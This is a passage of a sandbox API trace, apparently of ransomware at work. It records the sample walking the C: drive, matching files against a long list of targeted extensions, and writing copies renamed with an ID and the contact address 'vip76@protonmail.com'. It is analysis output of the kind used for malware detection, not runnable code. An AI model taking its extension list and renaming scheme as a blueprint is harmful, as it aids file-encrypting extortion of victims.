	[0087.668] lstrlenW (lpString=".xls") returned 4
	[0087.668] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.668] lstrlenW (lpString=".xlsx") returned 5
	[0087.669] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0087.669] lstrlenW (lpString=".ppt") returned 4
	[0087.669] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.669] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0087.669] lstrlenW (lpString=".zip") returned 4
	[0087.669] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.669] lstrlenW (lpString=".rar") returned 4
	[0087.669] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.669] lstrlenW (lpString=".bz2") returned 4
	[0087.669] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.669] lstrlenW (lpString=".7z") returned 3
	[0087.669] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.669] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0087.669] lstrlenW (lpString=".dbf") returned 4
	[0087.669] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.669] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0087.669] lstrlenW (lpString=".1cd") returned 4
	[0087.669] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.669] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0087.669] lstrlenW (lpString=".jpg") returned 4
	[0087.669] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.669] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0087.669] lstrlenW (lpString="msvcr120.dll") returned 12
	[0087.669] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0087.670] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=963232) returned 1
	[0087.670] CloseHandle (hObject=0x388) returned 1
	[0087.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll")) returned 0x20
	[0087.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.670] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0087.670] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.670] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.670] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0087.671] GetLastError () returned 0x0
	[0087.671] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0xeb2a0, lpOverlapped=0x0) returned 1
	[0087.689] WriteFile (in: hFile=0x390, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xeb2b0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xeb2b0, lpOverlapped=0x0) returned 1
	[0087.705] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.705] WriteFile (in: hFile=0x390, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.706] SetEndOfFile (hFile=0x390) returned 1
	[0087.706] CloseHandle (hObject=0x390) returned 1
	[0087.706] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.706] SetEndOfFile (hFile=0x388) 

Thread:
	id = 15
	os_tid = 0xa78

	[0057.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3bf0058
	[0057.891] lstrlenW (lpString="C:") returned 2
	[0057.891] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x325fcf8 | out: lpFindFileData=0x325fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x508bd8
	[0057.891] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0057.891] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1
	[0057.892] lstrlenW (lpString="$GetCurrent") returned 11
	[0057.892] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1
	[0057.892] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3c00060
	[0057.892] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0057.892] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x5e0730
	[0057.899] FindNextFileW (in: hFindFile=0x5e0730, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0057.900] FindNextFileW (in: hFindFile=0x5e0730, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1
	[0057.900] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0057.900] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1
	[0057.900] lstrlenW (lpString="Logs") returned 4
	[0057.900] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1
	[0057.900] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3c40080
	[0057.901] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0057.901] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0570
	[0057.917] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0057.917] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1
	[0057.917] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37
	[0057.917] lstrlenW (lpString=".1cd") returned 4
	[0057.917] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0057.917] lstrlenW (lpString=".3ds") returned 4
	[0057.917] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1
	[0057.917] lstrlenW (lpString=".3fr") returned 4
	[0057.918] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1
	[0057.918] lstrlenW (lpString=".3g2") returned 4
	[0057.918] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1
	[0057.918] lstrlenW (lpString=".3gp") returned 4
	[0057.918] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1
	[0057.918] lstrlenW (lpString=".7z") returned 3
	[0057.918] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0057.918] lstrlenW (lpString=".accda") returned 6
	[0057.918] lstrcmpiW (lpString1=".accda", lpString2="66.log") returned -1
	[0057.918] lstrlenW (lpString=".accdb") returned 6
	[0057.918] lstrcmpiW (lpString1=".accdb", lpString2="66.log") returned -1
	[0057.918] lstrlenW (lpString=".accdc") returned 6
	[0057.918] lstrcmpiW (lpString1=".accdc", lpString2="66.log") returned -1
	[0057.919] lstrlenW (lpString=".accde") returned 6
	[0057.919] lstrcmpiW (lpString1=".accde", lpString2="66.log") returned -1
	[0057.919] lstrlenW (lpString=".accdt") returned 6
	[0057.919] lstrcmpiW (lpString1=".accdt", lpString2="66.log") returned -1
	[0057.919] lstrlenW (lpString=".accdw") returned 6
	[0057.919] lstrcmpiW (lpString1=".accdw", lpString2="66.log") returned -1
	[0057.919] lstrlenW (lpString=".adb") returned 4
	[0057.919] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1
	[0057.919] lstrlenW (lpString=".adp") returned 4
	[0057.920] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1
	[0057.920] lstrlenW (lpString=".ai") returned 3
	[0057.920] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1
	[0057.920] lstrlenW (lpString=".ai3") returned 4
	[0057.920] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1
	[0057.920] lstrlenW (lpString=".ai4") returned 4
	[0057.920] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1
	[0057.920] lstrlenW (lpString=".ai5") returned 4
	[0057.920] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1
	[0057.920] lstrlenW (lpString=".ai6") returned 4
	[0057.920] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1
	[0057.920] lstrlenW (lpString=".ai7") returned 4
	[0057.920] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1
	[0057.920] lstrlenW (lpString=".ai8") returned 4
	[0057.920] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1
	[0057.920] lstrlenW (lpString=".anim") returned 5
	[0057.920] lstrcmpiW (lpString1=".anim", lpString2="6.log") returned -1
	[0057.921] lstrlenW (lpString=".arw") returned 4
	[0057.921] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1
	[0057.921] lstrlenW (lpString=".as") returned 3
	[0057.921] lstrcmpiW (lpString1=".as", lpString2="log") returned -1
	[0057.921] lstrlenW (lpString=".asa") returned 4
	[0057.921] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1
	[0057.921] lstrlenW (lpString=".asc") returned 4
	[0057.921] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1
	[0057.921] lstrlenW (lpString=".ascx") returned 5
	[0057.921] lstrcmpiW (lpString1=".ascx", lpString2="6.log") returned -1
	[0057.921] lstrlenW (lpString=".asm") returned 4
	[0057.921] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1
	[0057.921] lstrlenW (lpString=".asmx") returned 5
	[0057.921] lstrcmpiW (lpString1=".asmx", lpString2="6.log") returned -1
	[0057.921] lstrlenW (lpString=".asp") returned 4
	[0057.921] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1
	[0057.921] lstrlenW (lpString=".aspx") returned 5
	[0057.921] lstrcmpiW (lpString1=".aspx", lpString2="6.log") returned -1
	[0057.921] lstrlenW (lpString=".asr") returned 4
	[0057.921] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1
	[0057.921] lstrlenW (lpString=".asx") returned 4
	[0057.921] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1
	[0057.921] lstrlenW (lpString=".avi") returned 4
	[0057.921] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1
	[0057.921] lstrlenW (lpString=".avs") returned 4
	[0057.921] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1
	[0057.921] lstrlenW (lpString=".backup") returned 7
	[0057.922] lstrcmpiW (lpString1=".backup", lpString2="766.log") returned -1
	[0057.922] lstrlenW (lpString=".bak") returned 4
	[0057.922] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1
	[0057.922] lstrlenW (lpString=".bay") returned 4
	[0057.922] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1
	[0057.922] lstrlenW (lpString=".bd") returned 3
	[0057.922] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1
	[0057.922] lstrlenW (lpString=".bin") returned 4
	[0057.922] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1
	[0057.922] lstrlenW (lpString=".bmp") returned 4
	[0057.922] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1
	[0057.922] lstrlenW (lpString=".bz2") returned 4
	[0057.922] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0057.922] lstrlenW (lpString=".c") returned 2
	[0057.922] lstrcmpiW (lpString1=".c", lpString2="og") returned -1
	[0057.922] lstrlenW (lpString=".cdr") returned 4
	[0057.922] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1
	[0057.922] lstrlenW (lpString=".cer") returned 4
	[0057.922] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1
	[0057.922] lstrlenW (lpString=".cf") returned 3
	[0057.922] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1
	[0057.922] lstrlenW (lpString=".cfc") returned 4
	[0057.922] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1
	[0057.922] lstrlenW (lpString=".cfm") returned 4
	[0057.922] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1
	[0057.922] lstrlenW (lpString=".cfml") returned 5
	[0057.922] lstrcmpiW (lpString1=".cfml", lpString2="6.log") returned -1
	[0057.922] lstrlenW (lpString=".cfu") returned 4
	[0057.923] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1
	[0057.923] lstrlenW (lpString=".chm") returned 4
	[0057.923] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1
	[0057.923] lstrlenW (lpString=".cin") returned 4
	[0057.923] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1
	[0057.923] lstrlenW (lpString=".class") returned 6
	[0057.923] lstrcmpiW (lpString1=".class", lpString2="66.log") returned -1
	[0057.923] lstrlenW (lpString=".clx") returned 4
	[0057.923] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1
	[0057.923] lstrlenW (lpString=".config") returned 7
	[0057.923] lstrcmpiW (lpString1=".config", lpString2="766.log") returned -1
	[0057.923] lstrlenW (lpString=".cpp") returned 4
	[0057.923] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1
	[0057.923] lstrlenW (lpString=".cr2") returned 4
	[0057.923] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1
	[0057.923] lstrlenW (lpString=".crt") returned 4
	[0057.923] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1
	[0057.923] lstrlenW (lpString=".crw") returned 4
	[0057.923] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1
	[0057.923] lstrlenW (lpString=".cs") returned 3
	[0057.923] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1
	[0057.923] lstrlenW (lpString=".css") returned 4
	[0057.923] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1
	[0057.923] lstrlenW (lpString=".csv") returned 4
	[0057.923] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1
	[0057.923] lstrlenW (lpString=".cub") returned 4
	[0057.923] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1
	[0057.924] lstrlenW (lpString=".dae") returned 4
	[0057.924] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1
	[0057.924] lstrlenW (lpString=".dat") returned 4
	[0057.924] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1
	[0057.924] lstrlenW (lpString=".db") returned 3
	[0057.924] lstrcmpiW (lpString1=".db", lpString2="log") returned -1
	[0057.924] lstrlenW (lpString=".dbf") returned 4
	[0057.924] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0057.924] lstrlenW (lpString=".dbx") returned 4
	[0057.924] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1
	[0057.924] lstrlenW (lpString=".dc3") returned 4
	[0057.924] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1
	[0057.924] lstrlenW (lpString=".dcm") returned 4
	[0057.924] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1
	[0057.924] lstrlenW (lpString=".dcr") returned 4
	[0057.924] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1
	[0057.924] lstrlenW (lpString=".der") returned 4
	[0057.924] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1
	[0057.924] lstrlenW (lpString=".dib") returned 4
	[0057.924] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1
	[0057.924] lstrlenW (lpString=".dic") returned 4
	[0057.924] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1
	[0057.924] lstrlenW (lpString=".dif") returned 4
	[0057.924] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1
	[0057.924] lstrlenW (lpString=".divx") returned 5
	[0057.924] lstrcmpiW (lpString1=".divx", lpString2="6.log") returned -1
	[0057.924] lstrlenW (lpString=".djvu") returned 5
	[0057.925] lstrcmpiW (lpString1=".djvu", lpString2="6.log") returned -1
	[0057.925] lstrlenW (lpString=".dng") returned 4
	[0057.925] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1
	[0057.925] lstrlenW (lpString=".doc") returned 4
	[0057.925] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0057.925] lstrlenW (lpString=".docm") returned 5
	[0057.925] lstrcmpiW (lpString1=".docm", lpString2="6.log") returned -1
	[0057.925] lstrlenW (lpString=".docx") returned 5
	[0057.925] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1
	[0057.925] lstrlenW (lpString=".dot") returned 4
	[0057.925] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1
	[0057.925] lstrlenW (lpString=".dotm") returned 5
	[0057.925] lstrcmpiW (lpString1=".dotm", lpString2="6.log") returned -1
	[0057.925] lstrlenW (lpString=".dotx") returned 5
	[0057.925] lstrcmpiW (lpString1=".dotx", lpString2="6.log") returned -1
	[0057.925] lstrlenW (lpString=".dpx") returned 4
	[0057.925] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1
	[0057.925] lstrlenW (lpString=".dqy") returned 4
	[0057.925] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1
	[0057.925] lstrlenW (lpString=".dsn") returned 4
	[0057.925] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1
	[0057.925] lstrlenW (lpString=".dt") returned 3
	[0057.925] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1
	[0057.925] lstrlenW (lpString=".dtd") returned 4
	[0057.925] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1
	[0057.925] lstrlenW (lpString=".dwg") returned 4
	[0057.925] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1
	[0057.925] lstrlenW (lpString=".dwt") returned 4
	[0057.926] lstrcmpiW (lpString1=".dwt", lpString2=".log") returned -1
	[0057.926] lstrlenW (lpString=".dx") returned 3
	[0057.926] lstrcmpiW (lpString1=".dx", lpString2="log") returned -1
	[0057.926] lstrlenW (lpString=".dxf") returned 4
	[0057.926] lstrcmpiW (lpString1=".dxf", lpString2=".log") returned -1
	[0057.926] lstrlenW (lpString=".edml") returned 5
	[0057.926] lstrcmpiW (lpString1=".edml", lpString2="6.log") returned -1
	[0057.926] lstrlenW (lpString=".efd") returned 4
	[0057.926] lstrcmpiW (lpString1=".efd", lpString2=".log") returned -1
	[0057.926] lstrlenW (lpString=".elf") returned 4
	[0057.926] lstrcmpiW (lpString1=".elf", lpString2=".log") returned -1
	[0057.926] lstrlenW (lpString=".emf") returned 4
	[0057.926] lstrcmpiW (lpString1=".emf", lpString2=".log") returned -1
	[0057.926] lstrlenW (lpString=".emz") returned 4
	[0057.926] lstrcmpiW (lpString1=".emz", lpString2=".log") returned -1
	[0057.926] lstrlenW (lpString=".epf") returned 4
	[0057.926] lstrcmpiW (lpString1=".epf", lpString2=".log") returned -1
	[0057.926] lstrlenW (lpString=".eps") returned 4
	[0057.926] lstrcmpiW (lpString1=".eps", lpString2=".log") returned -1
	[0057.926] lstrlenW (lpString=".epsf") returned 5
	[0057.926] lstrcmpiW (lpString1=".epsf", lpString2="6.log") returned -1
	[0057.926] lstrlenW (lpString=".epsp") returned 5
	[0057.926] lstrcmpiW (lpString1=".epsp", lpString2="6.log") returned -1
	[0057.926] lstrlenW (lpString=".erf") returned 4
	[0057.926] lstrcmpiW (lpString1=".erf", lpString2=".log") returned -1
	[0057.926] lstrlenW (lpString=".exr") returned 4
	[0057.926] lstrcmpiW (lpString1=".exr", lpString2=".log") returned -1
	[0057.927] lstrlenW (lpString=".f4v") returned 4
	[0057.927] lstrcmpiW (lpString1=".f4v", lpString2=".log") returned -1
	[0057.927] lstrlenW (lpString=".fido") returned 5
	[0057.927] lstrcmpiW (lpString1=".fido", lpString2="6.log") returned -1
	[0057.927] lstrlenW (lpString=".flm") returned 4
	[0057.927] lstrcmpiW (lpString1=".flm", lpString2=".log") returned -1
	[0057.927] lstrlenW (lpString=".flv") returned 4
	[0057.927] lstrcmpiW (lpString1=".flv", lpString2=".log") returned -1
	[0057.927] lstrlenW (lpString=".frm") returned 4
	[0057.927] lstrcmpiW (lpString1=".frm", lpString2=".log") returned -1
	[0057.927] lstrlenW (lpString=".fxg") returned 4
	[0057.927] lstrcmpiW (lpString1=".fxg", lpString2=".log") returned -1
	[0057.927] lstrlenW (lpString=".geo") returned 4
	[0057.927] lstrcmpiW (lpString1=".geo", lpString2=".log") returned -1
	[0057.927] lstrlenW (lpString=".gif") returned 4
	[0057.927] lstrcmpiW (lpString1=".gif", lpString2=".log") returned -1
	[0057.927] lstrlenW (lpString=".grs") returned 4
	[0057.927] lstrcmpiW (lpString1=".grs", lpString2=".log") returned -1
	[0057.927] lstrlenW (lpString=".gz") returned 3
	[0057.927] lstrcmpiW (lpString1=".gz", lpString2="log") returned -1
	[0057.927] lstrlenW (lpString=".h") returned 2
	[0057.927] lstrcmpiW (lpString1=".h", lpString2="og") returned -1
	[0057.927] lstrlenW (lpString=".hdr") returned 4
	[0057.927] lstrcmpiW (lpString1=".hdr", lpString2=".log") returned -1
	[0057.927] lstrlenW (lpString=".hpp") returned 4
	[0057.927] lstrcmpiW (lpString1=".hpp", lpString2=".log") returned -1
	[0057.927] lstrlenW (lpString=".hta") returned 4
	[0057.927] lstrcmpiW (lpString1=".hta", lpString2=".log") returned -1
	[0057.928] lstrlenW (lpString=".htc") returned 4
	[0057.928] lstrcmpiW (lpString1=".htc", lpString2=".log") returned -1
	[0057.928] lstrlenW (lpString=".htm") returned 4
	[0057.928] lstrcmpiW (lpString1=".htm", lpString2=".log") returned -1
	[0057.928] lstrlenW (lpString=".html") returned 5
	[0057.928] lstrcmpiW (lpString1=".html", lpString2="6.log") returned -1
	[0057.928] lstrlenW (lpString=".icb") returned 4
	[0057.928] lstrcmpiW (lpString1=".icb", lpString2=".log") returned -1
	[0057.928] lstrlenW (lpString=".ics") returned 4
	[0057.928] lstrcmpiW (lpString1=".ics", lpString2=".log") returned -1
	[0057.928] lstrlenW (lpString=".iff") returned 4
	[0057.928] lstrcmpiW (lpString1=".iff", lpString2=".log") returned -1
	[0057.928] lstrlenW (lpString=".inc") returned 4
	[0057.928] lstrcmpiW (lpString1=".inc", lpString2=".log") returned -1
	[0057.928] lstrlenW (lpString=".indd") returned 5
	[0057.928] lstrcmpiW (lpString1=".indd", lpString2="6.log") returned -1
	[0057.928] lstrlenW (lpString=".ini") returned 4
	[0057.928] lstrcmpiW (lpString1=".ini", lpString2=".log") returned -1
	[0057.928] lstrlenW (lpString=".iqy") returned 4
	[0057.928] lstrcmpiW (lpString1=".iqy", lpString2=".log") returned -1
	[0057.928] lstrlenW (lpString=".j2c") returned 4
	[0057.928] lstrcmpiW (lpString1=".j2c", lpString2=".log") returned -1
	[0057.928] lstrlenW (lpString=".j2k") returned 4
	[0057.928] lstrcmpiW (lpString1=".j2k", lpString2=".log") returned -1
	[0057.928] lstrlenW (lpString=".java") returned 5
	[0057.928] lstrcmpiW (lpString1=".java", lpString2="6.log") returned -1
	[0057.928] lstrlenW (lpString=".jp2") returned 4
	[0057.928] lstrcmpiW (lpString1=".jp2", lpString2=".log") returned -1
	[0057.929] lstrlenW (lpString=".jpc") returned 4
	[0057.929] lstrcmpiW (lpString1=".jpc", lpString2=".log") returned -1
	[0057.929] lstrlenW (lpString=".jpe") returned 4
	[0057.929] lstrcmpiW (lpString1=".jpe", lpString2=".log") returned -1
	[0057.929] lstrlenW (lpString=".jpeg") returned 5
	[0057.929] lstrcmpiW (lpString1=".jpeg", lpString2="6.log") returned -1
	[0057.929] lstrlenW (lpString=".jpf") returned 4
	[0057.929] lstrcmpiW (lpString1=".jpf", lpString2=".log") returned -1
	[0057.929] lstrlenW (lpString=".jpg") returned 4
	[0057.929] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0057.929] lstrlenW (lpString=".jpx") returned 4
	[0057.929] lstrcmpiW (lpString1=".jpx", lpString2=".log") returned -1
	[0057.929] lstrlenW (lpString=".js") returned 3
